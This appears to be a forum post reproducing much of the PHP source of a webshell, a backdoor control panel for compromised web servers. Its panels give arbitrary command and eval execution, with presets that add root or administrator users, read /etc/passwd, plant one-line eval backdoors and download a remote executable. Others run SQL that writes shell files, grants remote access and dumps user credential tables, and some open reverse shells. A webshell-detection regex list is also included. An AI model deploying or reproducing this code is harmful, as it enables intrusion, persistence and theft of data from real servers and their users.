|
楼主 |
发表于 2019-7-15 10:08:32
|
查看全部
- $infos = array(
- '程序说明' => '采用POST浏览是为了不记录浏览日志.<br>登录密码保存在页面中,所以无须COOKIE和SESSION.登录有效期为当前页面进程.<br>请勿将本程序作为非法用途.',
- '客户端浏览器信息' => $_SERVER['HTTP_USER_AGENT'],
- '被禁用的函数' => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : '(无)',
- '被禁用的类' => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : '(无)',
- 'PHP.ini配置路径' => $tmp[2][1] ? $tmp[2][1] : '(无)',
- 'PHP运行方式' => php_sapi_name(),
- 'PHP版本' => PHP_VERSION,
- 'PHP进程PID' => getmypid(),
- '客户端IP' => $_SERVER['REMOTE_ADDR'],
- '客户端文字编码' => $_SERVER['HTTP_ACCEPT_LANGUAGE'],
- 'Web服务端口' => $_SERVER['SERVER_PORT'],
- 'Web根目录' => $_SERVER['DOCUMENT_ROOT'],
- 'Web执行脚本' => $_SERVER['SCRIPT_FILENAME'],
- 'Web规范CGI版本' => $_SERVER['GATEWAY_INTERFACE'],
- 'Web管理员Email' => $_SERVER['SERVER_ADMIN'] ? $_SERVER['SERVER_ADMIN'] : '(无)',
- '当前磁盘总大小' => size(disk_total_space('.')),
- '当前磁盘可用空间' => size(disk_free_space('.')),
- 'POST最大字数量' => get_cfg_var("post_max_size"),
- '允许最大上传文件' => get_cfg_var("upload_max_filesize"),
- '程序最大使用内存量' => get_cfg_var("memory_limit"),
- '程序最长运行时间' => get_cfg_var("max_execution_time") . '秒',
- '是否支持Fsockopen' => function_exists('fsockopen') ? '是' : '否',
- '是否支持Socket' => function_exists('socket_close') ? '是' : '否',
- '是否支持Pcntl' => function_exists('pcntl_exec') ? '是' : '否',
- '是否支持Curl' => function_exists('curl_version') ? '是' : '否',
- '是否支持Zlib' => function_exists('gzclose') ? '是' : '否',
- '是否支持FTP' => function_exists('ftp_login') ? '是' : '否',
- '是否支持XML' => function_exists('xml_set_object') ? '是' : '否',
- '是否支持GD_Library' => function_exists('imageline') ? '是' : '否',
- '是否支持COM组建' => class_exists('COM') ? '是' : '否',
- '是否支持ODBC组建' => function_exists('odbc_close') ? '是' : '否',
- '是否支持IMAP邮件' => function_exists('imap_close') ? '是' : '否',
- '是否运行于安全模式' => get_cfg_var("safemode") ? '是' : '否',
- '是否允许URL打开文件' => get_cfg_var("allow_url_fopen") ? '是' : '否',
- '是否允许动态加载链接库' => get_cfg_var("enable_dl") ? '是' : '否',
- '是否显示错误信息' => get_cfg_var("display_errors") ? '是' : '否',
- '是否自动注册全局变量' => get_cfg_var("register_globals") ? '是' : '否',
- '是否使用反斜线引用字符串' => get_cfg_var("magic_quotes_gpc") ? '是' : '否',
- 'PHP编译参数' => $tmp[2][0] ? $tmp[2][0] : '(无)'
- );
- echo '<div class="msgbox">' . $msg . '</div>';
- echo '<table class="tables"><tr><th style="width:26%;">名称</th><th>参数</th></tr>';
- foreach ($infos as $name => $var) {
- echo '<tr><td>' . $name . '</td><td>' . $var . '</td></tr>';
- }
- echo '</table>';
- break;
- case "exec":
- $cmd = $win ? 'dir' : 'ls -al';
- $res = array(
- 'res' => '命令回显',
- 'msg' => $msg
- );
- $str = isset($_POST['str']) ? $_POST['str'] : 'fun';
- if (isset($_POST['cmd'])) {
- $cmd = $_POST['cmd'];
- $cwd = $str == 'fun' ? THISDIR : 'com';
- $res = command($cmd, $cwd);
- }
- echo '<div class="msgbox">' . $res['msg'] . '</div>';
- echo '<form method="POST">';
- subeval();
- echo '<input type="hidden" name="go" id="go" value="exec">';
- echo '<div class="actall">命令 <input type="text" name="cmd" id="cmd" value="' . htmlspecialchars($cmd) . '" style="width:398px;"> ';
- echo '<select name="str">';
- $selects = array(
- 'fun' => 'phpfun',
- 'com' => 'wscript'
- );
- foreach ($selects as $var => $name) {
- echo '<option value="' . $var . '"' . ($var == $str ? ' selected' : '') . '>' . $name . '</option>';
- }
- echo '</select> ';
- echo '<select onchange="$(\'cmd\').value=options[selectedIndex].value">';
- echo '<option>---命令集合---</option>';
- echo '<option value="echo ' . htmlspecialchars('"<?php phpinfo();?>"') . ' >> ' . THISDIR . 't00ls.txt">写文件</option>';
- echo '<option value="whoami">我是谁</option>';
- echo '<option value="net user t00ls t00ls /add">Win-添加用户</option>';
- echo '<option value="net localgroup administrators t00ls /add">Win-设用户组</option>';
- echo '<option value="netstat -an">Win-查看端口</option>';
- echo '<option value="ipconfig /all">Win-查看地址</option>';
- echo '<option value="net start">Win-查看服务</option>';
- echo '<option value="tasklist">Win-查看进程</option>';
- echo '<option value="id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a">Linux-版本集合</option>';
- echo '<option value="/usr/sbin/useradd -u 0 -o -g 0 t00ls">Linux-添加用户</option>';
- echo '<option value="cat /etc/passwd">Linux-查看用户</option>';
- echo '<option value="/bin/netstat -tnl">Linux-查看端口</option>';
- echo '<option value="/sbin/ifconfig -a">Linux-查看地址</option>';
- echo '<option value="/sbin/chkconfig --list">Linux-查看服务</option>';
- echo '<option value="/bin/ps -ef">Linux-查看进程</option>';
- echo '</select> ';
- echo '<input type="submit" style="width:50px;" value="执行">';
- echo '</div><div class="actall"><textarea style="width:698px;height:368px;">' . htmlspecialchars($res['res']) . '</textarea></div></form>';
- break;
- case "scan":
- $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;
- $keyword = isset($_POST['keyword']) ? $_POST['keyword'] : '';
- $include = isset($_POST['include']) ? chop($_POST['include']) : '.php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py';
- $filters = isset($_POST['filters']) ? chop($_POST['filters']) : 'html|css|img|images|image|style|js';
- echo '<div class="msgbox">' . $msg . '</div>';
- echo '<form method="POST">';
- subeval();
- echo '<input type="hidden" name="go" id="go" value="scan">';
- echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
- echo '<tr><td>搜索路径</td><td><input type="text" name="dir" value="' . htmlspecialchars($scandir) . '" style="width:500px;"></td></tr>';
- echo '<tr><td>搜索内容</td><td><input type="text" name="keyword" value="' . htmlspecialchars($keyword) . '" style="width:500px;"> (文件名或文件内容)</td></tr>';
- echo '<tr><td>文件后缀</td><td><input type="text" name="include" value="' . htmlspecialchars($include) . '" style="width:500px;"> (用"|"分割, 为空则搜索所有文件)</td></tr>';
- echo '<tr><td>过滤目录</td><td><input type="text" name="filters" value="' . htmlspecialchars($filters) . '" style="width:500px;"> (用"|"分割, 为空则不过滤目录)</td></tr>';
- echo '<tr><td>搜索方式</td><td><label><input type="radio" name="type" value="0"' . ($_POST['type'] ? '' : ' checked') . '>搜索文件名</label> ';
- echo '<label><input type="radio" name="type" value="1"' . ($_POST['type'] ? ' checked' : '') . '>搜索包含文字</label> ';
- echo '<label><input type="checkbox" name="char" value="1"' . ($_POST['char'] ? ' checked' : '') . '>匹配大小写</label></td></tr>';
- echo '<tr><td>搜索范围</td><td><label><input type="radio" name="range" value="0"' . ($_POST['range'] ? '' : ' checked') . '>将搜索应用于该文件夹,子文件夹和文件</label> ';
- echo '<label><input type="radio" name="range" value="1"' . ($_POST['range'] ? ' checked' : '') . '>仅将搜索应用于该文件夹</label></td></tr>';
- echo '<tr><td>操作</td><td><input type="submit" style="width:80px;" value="搜索"></td></tr>';
- echo '</table></form>';
- if ($keyword != '') {
- flush();
- ob_flush();
- echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';
- $incs = $include == '' ? false : explode('|', $include);
- $fits = $filters == '' ? false : explode('|', $filters);
- scanfile(strdir($scandir . '/'), $keyword, $incs, $fits, $_POST['type'], $_POST['char'], $_POST['range'], $nowdir);
- echo '搜索完成</div>';
- }
- break;
- case "antivirus":
- $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;
- $typearr = isset($_POST['dir']) ? $_POST['types'] : array(
- 'php' => '.php'
- );
- echo '<div class="msgbox">' . $msg . '</div>';
- echo '<form method="POST">';
- subeval();
- echo '<input type="hidden" name="go" id="go" value="antivirus">';
- echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
- echo '<tr><td>扫描路径</td><td><input type="text" name="dir" value="' . htmlspecialchars($scandir) . '" style="width:500px;"></td></tr>';
- echo '<tr><td>查杀类型</td><td>';
- $types = array(
- 'php' => '.php',
- 'asp+aspx' => '.as|.cs|.cer',
- 'jsp' => '.jsp'
- );
- foreach ($types as $key => $ex)
- echo '<label title="' . $ex . '"><input type="checkbox" name="types[' . $key . ']" value="' . $ex . '"' . ($typearr[$key] == $ex ? ' checked' : '') . '>' . $key . '</label> ';
- echo '</td></tr><tr><td>操作</td><td><input type="submit" style="width:80px;" value="扫描"></td></tr>';
- echo '</table></form>';
- if (count($_POST['types']) > 0) {
- $matches = array(
- 'php' => array(
- '/function\_exists\s*\(\s*[\'|"](popen|exec|proc\_open|system|passthru)+[\'|"]\s*\)/i',
- '/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
- '/(udp\:\/\/(.*)\;)+/i',
- '/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
- '/preg\_replace\s*\((.*)\(base64\_decode\(\$/i',
- '/(eval|assert|include|require)+\s*\((.*)(base64\_decode|file\_get\_contents|php\:\/\/input)+/i',
- '/(eval|assert|include|require|array\_map)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
- '/\$\_(GET|POST|COOKIE|SERVER|SESSION)+(.*)(eval|assert|include|require)+\s*\(\s*\$(\w+)\s*\)/i',
- '/\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\(\s*\$(.*)\)/i',
- '/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\)/i',
- '/(fopen|fwrite|fpust|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\](.*)\)/i',
- '/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i',
- '/new com\s*\(\s*[\'|"]shell(.*)[\'|"]\s*\)/i',
- '/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
- '/\$\_\=(.*)\$\_/i'
- ),
- 'asp+aspx' => array(
- '/(VBScript\.Encode|WScript\.shell|Shell\.Application|Scripting\.FileSystemObject)+/i',
- '/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i',
- '/(eval|execute)+(.*)request.item\s*\[(.*)\]/i',
- '/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i',
- '/\<script\s*runat\s*\=(.*)server(.*)\>(.*)\<\/script\>/i',
- '/Load\s*\((.*)Request/i',
- '/StreamWriter\(Server\.MapPath(.*)\.Write\(Request/i'
- ),
- 'jsp' => array(
- '/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i',
- '/(eval|execute)+(.*)request.item\s*\[(.*)\]/i',
- '/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i',
- '/Runtime\.getRuntime\(\)\.exec\((.*)\)/i',
- '/FileOutputStream\(application\.getRealPath(.*)request/i'
- )
- );
- flush();
- ob_flush();
- echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';
- antivirus(strdir($scandir . '/'), $typearr, $matches, $nowdir);
- echo '扫描完成</div>';
- }
- break;
- case "phpeval":
- if (isset($_POST['phpcode'])) {
- $phpcode = chop($_POST['phpcode']);
- ob_start();
- if (substr($phpcode, 0, 2) == '<?' && substr($phpcode, -2) == '?>') {
- @eval('?>' . $phpcode . '<?php ');
- } else {
- @eval($phpcode);
- }
- $out = ob_get_contents();
- ob_end_clean();
- } else {
- $phpcode = 'phpinfo();';
- $out = '回显窗口';
- }
- echo base64_decode('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIHJ1bmNvZGUob2JqbmFtZSkge3ZhciB3aW5uYW1lID0gd2luZG93Lm9wZW4oJycsIl9ibGFuayIsJycpO3ZhciBvYmogPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChvYmpuYW1lKTt3aW5uYW1lLmRvY3VtZW50Lm9wZW4oJ3RleHQvaHRtbCcsJ3JlcGxhY2UnKTt3aW5uYW1lLm9wZW5lciA9IG51bGw7d2lubmFtZS5kb2N1bWVudC53cml0ZShvYmoudmFsdWUpO3dpbm5hbWUuZG9jdW1lbnQuY2xvc2UoKTt9PC9zY3JpcHQ+');
- echo '<div class="msgbox">' . $msg . '</div>';
- echo '<form method="POST">';
- subeval();
- echo '<input type="hidden" name="go" id="go" value="phpeval">';
- echo '<div class="actall"><p><textarea name="phpcode" id="phpcode" style="width:698px;height:180px;">' . htmlspecialchars($phpcode) . '</textarea></p><p>';
- echo '<select onchange="$(\'phpcode\').value=options[selectedIndex].value">';
- echo '<option>---插件代码---</option>';
- echo '<option value="echo readfile(\'C:/web/t00ls.php\');">读取文件</option>';
- echo '<option value="$fp=fopen(\'C:/web/t00ls.php\',\'w\');echo fputs($fp,\'<?php eval($_POST[cmd]);?>\')?\'Success!\':\'Fail!\';fclose($fp);">写入文件</option>';
- echo '<option value="echo copy(\'C:/web/t00ls1.php\',\'C:/web/t00ls2.php\')?\'Success!\':\'Fail!\';">复制文件</option>';
- echo '<option value="echo file_put_contents(\'' . THISDIR . 'cmd.exe\', file_get_contents(\'http://www.baidu.com/cmd.exe\'))?\'Success!\':\'Fail!\';">远程下载</option>';
- echo '<option value="print_r($_SERVER);">环境变量</option>';
- echo '</select> ';
- echo '<input type="submit" style="width:80px;" value="执行"></p></div>';
- echo '</form><div class="actall"><p><textarea id="evalcode" style="width:698px;height:180px;">' . htmlspecialchars($out) . '</textarea></p><p><input type="button" value="以HTML运行以上代码" onclick="runcode(\'evalcode\')"></p></div>';
- break;
- case "sql":
- if ((!empty($_POST['sqlhost'])) && (!empty($_POST['sqluser'])) && (!empty($_POST['names']))) {
- $type = $_POST['type'];
- $sqlhost = $_POST['sqlhost'];
- $sqluser = $_POST['sqluser'];
- $sqlpass = $_POST['sqlpass'];
- $sqlname = $_POST['sqlname'];
- $sqlcode = $_POST['sqlcode'];
- $names = $_POST['names'];
- switch ($type) {
- case "PostgreSql":
- if (function_exists('pg_close')) {
- if (strstr($sqlhost, ':')) {
- $array = explode(':', $sqlhost);
- $sqlhost = $array[0];
- $sqlport = $array[1];
- } else {
- $sqlport = 5432;
- }
- $dbconn = @pg_connect("host=$sqlhost port=$sqlport dbname=$sqlname user=$sqluser password=$sqlpass");
- if ($dbconn) {
- $msg = '<h2>连接' . $type . '成功 </h2>';
- pg_query('set client_encoding=' . $names);
- $result = pg_query($sqlcode);
- if ($result) {
- $msg .= '<h2> - 执行SQL成功</h2>';
- while ($array = pg_fetch_array($result)) {
- $rows[] = $array;
- }
- } else {
- $msg .= '<h1> - 执行SQL失败</h1>';
- $rows = array(
- 'error' => pg_result_error($result)
- );
- }
- pg_free_result($result);
- } else {
- $msg = '<h1>连接' . $type . '失败</h1>';
- }
- @pg_close($dbconn);
- } else {
- $msg = '<h1>不支持' . $type . '</h1>';
- }
- break;
- case "MsSql":
- if (function_exists('mssql_close')) {
- $dbconn = @mssql_connect($sqlhost, $sqluser, $sqlpass);
- if ($dbconn) {
- $msg = '<h2>连接' . $type . '成功 </h2>';
- mssql_select_db($sqlname, $dbconn);
- $result = mssql_query($sqlcode);
- if ($result) {
- $msg .= '<h2> - 执行SQL成功</h2>';
- while ($array = mssql_fetch_array($result)) {
- $rows[] = $array;
- }
- } else {
- $msg .= '<h1> - 执行SQL失败</h1>';
- }
- @mssql_free_result($result);
- } else {
- $msg = '<h1>连接' . $type . '失败</h1>';
- }
- @mssql_close($dbconn);
- } else {
- $msg = '<h1>不支持' . $type . '</h1>';
- }
- break;
- case "Oracle":
- if (function_exists('oci_close')) {
- $conn = @oci_connect($sqluser, $sqlpass, $sqlhost . '/' . $sqlname);
- if ($conn) {
- $msg = '<h2>连接' . $type . '成功 </h2>';
- $stid = oci_parse($conn, $sqlcode);
- oci_execute($stid);
- if ($stid) {
- $msg .= '<h2> - 执行SQL成功</h2>';
- while (($array = oci_fetch_array($stid, OCI_ASSOC))) {
- $rows[] = $array;
- }
- } else {
- $msg .= '<h1> - 执行SQL失败</h1>';
- $e = oci_error();
- $rows = array(
- 'error' => $e['message']
- );
- }
- oci_free_statement($stid);
- } else {
- $e = oci_error();
- $rows = array(
- 'error' => $e['message']
- );
- $msg = '<h1>连接' . $type . '失败</h1>';
- }
- @oci_close($conn);
- } else {
- $msg = '<h1>不支持' . $type . '</h1>';
- }
- break;
- case "MySql":
- if (function_exists('mysql_close')) {
- $conn = mysql_connect(strstr($sqlhost, ':') ? $sqlhost : $sqlhost . ':3306', $sqluser, $sqlpass, $sqlname);
- if ($conn) {
- $msg = '<h2>连接' . $type . '成功 </h2>';
- if (substr($sqlcode, 0, 7) == 't00lsa') {
- $array = array();
- $data = '';
- $i = 0;
- preg_match_all('/t00lsa\s*\'(.*)\'\s*t00lsb\s*\'(.*)\'\s*t00lsc\s*\'(.*)\'\s*t00lsfile\s*\'(.*)\'/i', $sqlcode, $array);
- if ($array[1][0] && $array[2][0] && $array[3][0] && $array[4][0]) {
- mysql_select_db($array[1][0], $conn);
- mysql_query('set names ' . $names, $conn);
- $spidercode = 'select ' . $array[3][0] . ' from `' . $array[2][0] . '`;';
- $result = mysql_query($spidercode, $conn);
- if ($result) {
- while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
- $data .= join(' |x| ', $row) . "\r\n";
- $i++;
- }
- if ($data) {
- $file = strdir($array[4][0]);
- $msg .= filew($file, $data, 'w') ? '<h2> - 脱库成功</h2>' : '<h1> - 导出文件失败</h1>';
- $rows = array(
- 'file' => $file,
- size(filesize($file)) => '共获取' . $i . '条数据'
- );
- } else {
- $msg .= '<h1> - 没有数据</h1>';
- }
- } else {
- $msg .= '<h1> - 执行SQL失败</h1>';
- $rows = array(
- 'errno' => mysql_errno(),
- 'error' => mysql_error()
- );
- }
- } else {
- $msg .= '<h1> - 脱库语句错误</h1>';
- }
- } elseif (!empty($sqlcode)) {
- mysql_select_db($sqlname, $conn);
- mysql_query('set names ' . $names, $conn);
- $result = mysql_query($sqlcode, $conn);
- if ($result) {
- $msg .= '<h2> - 执行SQL成功</h2>';
- while ($array = mysql_fetch_array($result, MYSQL_ASSOC)) {
- $rows[] = $array;
- }
- } else {
- $msg .= '<h1> - 执行SQL失败</h1>';
- $rows = array(
- 'errno' => mysql_errno(),
- 'error' => mysql_error()
- );
- }
- }
- mysql_free_result($result);
- } else {
- $msg = '<h1>连接' . $type . '失败</h1>';
- $rows = array(
- 'errno' => mysql_errno(),
- 'error' => mysql_error()
- );
- }
- mysql_close($conn);
- } else {
- $msg = '<h1>不支持' . $type . '</h1>';
- }
- break;
- }
- } else {
- $type = 'MySql';
- $sqlhost = 'localhost:3306';
- $sqluser = 'root';
- $sqlpass = '123456';
- $sqlname = 'mysql';
- $sqlcode = 'select version();';
- $names = 'gbk';
- }
- echo '<div class="msgbox">' . $msg . '</div>';
- echo '<form method="POST">';
- subeval();
- echo '<input type="hidden" name="go" id="go" value="sql">';
- echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
- echo '<tr><td>支持类型</td><td>';
- $dbs = array(
- 'MySql',
- 'MsSql',
- 'Oracle',
- 'PostgreSql'
- );
- foreach ($dbs as $dbname) {
- echo '<label><input type="radio" name="type" value="' . $dbname . '"' . ($type == $dbname ? ' checked' : '') . '>' . $dbname . '</label> ';
- }
- echo '</td></tr><tr><td>连接</td><td>地址 <input type="text" name="sqlhost" style="width:188px;" value="' . $sqlhost . '"> ';
- echo '用户 <input type="text" name="sqluser" style="width:108px;" value="' . $sqluser . '"> ';
- echo '密码 <input type="text" name="sqlpass" style="width:108px;" value="' . $sqlpass . '"> ';
- echo '库名 <input type="text" name="sqlname" style="width:108px;" value="' . $sqlname . '"></td></tr>';
- echo '<tr><td>语句<br>';
- echo '<select onchange="$(\'sqlcode\').value=options[selectedIndex].value">';
- echo '<option value="select version();">---语句集合---</option>';
- echo '<option value="select \'<?php eval ($_POST[cmd]);?>\' into outfile \'D:/web/shell.php\';">写入文件</option>';
- echo '<option value="GRANT ALL PRIVILEGES ON *.* TO \'' . $sqluser . '\'@\'%\' IDENTIFIED BY \'' . $sqlpass . '\' WITH GRANT OPTION;">开启外连</option>';
- echo '<option value="show variables;">系统变量</option>';
- echo '<option value="create database t00ls;">创建数据库</option>';
- echo '<option value="create table `t00ls` (`id` INT(10) NOT NULL ,`user` VARCHAR(32) NOT NULL ,`pass` VARCHAR(32) NOT NULL) TYPE = MYISAM;">创建数据表</option>';
- echo '<option value="show databases;">显示数据库</option>';
- echo '<option value="show tables from `' . $sqlname . '`;">显示数据表</option>';
- echo '<option value="show columns from `t00ls`;">显示表结构</option>';
- echo '<option value="drop table `t00ls`;">删除数据表</option>';
- echo '<option value="select username,password,salt,email from `pre_ucenter_members` limit 0,30;">显示字段</option>';
- echo '<option value="insert into `admin` (`user`,`pass`) values (\'t00ls\', \'f1a81d782dea6a19bdca383bffe68452\');">插入数据</option>';
- echo '<option value="update `admin` set `user` = \'t00ls1\',`pass` = \'50de237e389600acadbeda3d6e6e0b1f\' where `user` = \'t00ls\' and `pass` = \'f1a81d782dea6a19bdca383bffe68452\' limit 1;">修改数据</option>';
- echo '<option value="t00lsa \'discuzx25\' t00lsb \'pre_ucenter_members\' t00lsc \'username,password,salt,email\' t00lsfile \'' . THISDIR . 'out.txt\';">脱库(MySql)</option>';
- echo '</select>';
- echo '</td><td><textarea name="sqlcode" id="sqlcode" style="width:680px;height:80px;">' . htmlspecialchars($sqlcode) . '</textarea></td></tr>';
- echo '<tr><td>操作</td><td><select name="names">';
- $charsets = array(
- 'gbk',
- 'utf8',
- 'big5',
- 'latin1',
- 'cp866',
- 'ujis',
- 'euckr',
- 'koi8r',
- 'koi8u'
- );
- foreach ($charsets as $charset) {
- echo '<option value="' . $charset . '"' . ($names == $charset ? ' selected' : '') . '>' . $charset . '</option>';
- }
- echo '</select> <input type="submit" style="width:80px;" value="执行"></td></tr>';
- echo '</table></form>';
- if ($rows) {
- echo '<pre style="padding:5px;background:#F8F8F8;text-align:left;">';
- ob_start();
- print_r($rows);
- $out = ob_get_contents();
- ob_end_clean();
- if (preg_match('~[\x{4e00}-\x{9fa5}]+~u', $out) && function_exists('iconv')) {
- $out = @iconv('UTF-8', 'GB2312//IGNORE', $out);
- }
- echo htmlspecialchars($out);
- echo '</pre>';
- }
- break;
- case "backshell":
- if ((!empty($_POST['backip'])) && (!empty($_POST['backport']))) {
- $backip = $_POST['backip'];
- $backport = $_POST['backport'];
- $temp = $_POST['temp'] ? $_POST['temp'] : '/tmp';
- $type = $_POST['type'];
- $msg = backshell($backip, $backport, $temp, $type);
- } else {
- $backip = $_SERVER['REMOTE_ADDR'];
- $backport = '443';
- $temp = '/tmp';
- $type = 'pl';
- $msg = 'PHP反弹可兼容Linux和Windows 其余方法只用于Linux';
- }
- echo '<div class="msgbox">' . $msg . '</div>';
- echo '<form method="POST">';
- subeval();
- echo '<input type="hidden" name="go" id="go" value="backshell">';
- echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
- echo '<tr><td>反弹地址</td><td><input type="text" name="backip" style="width:268px;" value="' . $backip . '"> (Your ip)</td></tr>';
- echo '<tr><td>反弹端口</td><td><input type="text" name="backport" style="width:268px;" value="' . $backport . '"> (nc -vvlp ' . $backport . ')</td></tr>';
- echo '<tr><td>临时目录</td><td><input type="text" name="temp" style="width:268px;" value="' . $temp . '"> (Only Linux)</td></tr>';
- echo '<tr><td>反弹方法</td><td>';
- $types = array(
- 'pl' => 'Perl',
- 'py' => 'Python',
- 'c' => 'C-bin',
- 'pcntl' => 'Pcntl',
- 'php' => 'PHP',
- 'phpwin' => 'PHP-COM'
- );
- foreach ($types as $key => $name) {
- echo '<label><input type="radio" name="type" value="' . $key . '"' . ($key == $type ? ' checked' : '') . '>' . $name . '</label> ';
- }
- echo '</td></tr><tr><td>操作</td><td><input type="submit" style="width:80px;" value="反弹"></td></tr>';
- echo '</table></form>';
- break;
- case "edit":
- case "editor":
- $file = strdir($_POST['godir'] . '/' . $_POST['govar']);
- $iconv = function_exists('iconv');
- if (!file_exists($file)) {
- $msg = '【新建文件】';
- } else {
- $code = filer($file);
- $chst = '默认';
- if (preg_match('~[\x{4e00}-\x{9fa5}]+~u', $code) && $iconv) {
- $chst = 'utf-8';
- $code = @iconv('UTF-8', 'GB2312//IGNORE', $code);
- }
- $size = size(filesize($file));
- $msg = '【文件属性 ' . substr(decoct(fileperms($file)), -4) . '】 【文件大小 ' . $size . '】 【文件编码 ' . $chst . '】';
- }
- echo base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg==');
- echo '<div class="msgbox"><input name="keyword" id="keyword" type="text" style="width:138px;height:15px;"><input type="button" value="IE查找内容" onclick="search($(\'keyword\').value);"> - ' . $msg . '</div>';
- echo '<form name="editfrm" id="editfrm" method="POST">';
- subeval();
- echo '<input type="hidden" name="go" value=""><input type="hidden" name="act" id="act" value="edit">';
- echo '<input type="hidden" name="dir" id="dir" value="' . dirname($file) . '">';
- echo '<div class="actall">文件 <input type="text" name="filename" value="' . $file . '" style="width:528px;"> ';
- if ($iconv) {
- echo '编码 <select name="tostr">';
- $selects = array(
- 'normal' => '默认',
- 'utf' => 'utf-8'
- );
- foreach ($selects as $var => $name) {
- echo '<option value="' . $var . '"' . ($name == $chst ? ' selected' : '') . '>' . $name . '</option>';
- }
- echo '</select>';
- }
- echo '</div><div class="actall"><textarea name="filecode" id="filecode" style="width:698px;height:358px;">' . htmlspecialchars($code) . '</textarea></div></form>';
- echo '<div class="actall" style="padding:5px;padding-right:68px;"><input type="button" onclick="$(\'editfrm\').submit();" value="保存" style="width:80px;"> ';
- echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . dirname($file) . '">';
- subeval();
- echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
- break;
- case "upfiles":
- $updir = isset($_POST['updir']) ? $_POST['updir'] : $_POST['godir'];
- $msg = '【最大上传文件 ' . get_cfg_var("upload_max_filesize") . '】 【POST最大提交数据 ' . get_cfg_var("post_max_size") . '】';
- $max = 10;
- if (isset($_FILES['uploads']) && isset($_POST['renames'])) {
- $uploads = $_FILES['uploads'];
- $msgs = array();
- for ($i = 1; $i < $max; $i++) {
- if ($uploads['error'][$i] == UPLOAD_ERR_OK) {
- $rename = $_POST['renames'][$i] == '' ? $uploads['name'][$i] : $_POST['renames'][$i];
- $filea = $uploads['tmp_name'][$i];
- $fileb = strdir($updir . '/' . $rename);
- $msgs[$i] = fileu($filea, $fileb) ? '<br><h2>上传成功 ' . $rename . '</h2>' : '<br><h1>上传失败 ' . $rename . '</h1>';
- }
- }
- }
- echo '<div class="msgbox">' . $msg . '</div>';
- echo '<form name="upsfrm" id="upsfrm" method="POST" enctype="multipart/form-data">';
- subeval();
- echo '<input type="hidden" name="go" value="upfiles"><input type="hidden" name="act" id="act" value="upload">';
- echo '<div class="actall"><p>上传到目录 <input type="text" name="updir" style="width:398px;" value="' . $updir . '"></p>';
- for ($i = 1; $i < $max; $i++) {
- echo '<p>附件' . $i . ' <input type="file" name="uploads[' . $i . ']" style="width:300px;"> 重命名 <input type="text" name="renames[' . $i . ']" style="width:128px;"> ' . $msgs[$i] . '</p>';
- }
- echo '</div></form><div class="actall" style="padding:8px;padding-right:68px;"><input type="button" onclick="$(\'upsfrm\').submit();" value="上传" style="width:80px;"> ';
- echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . $updir . '">';
- subeval();
- echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
- break;
- default:
- if (isset($_FILES['upfile'])) {
- if ($_FILES['upfile']['name'] == '') {
- $msg = '<h1>请选择文件</h1>';
- } else {
- $rename = $_POST['rename'] == '' ? $_FILES['upfile']['name'] : $_POST['rename'];
- $filea = $_FILES['upfile']['tmp_name'];
- $fileb = strdir($nowdir . $rename);
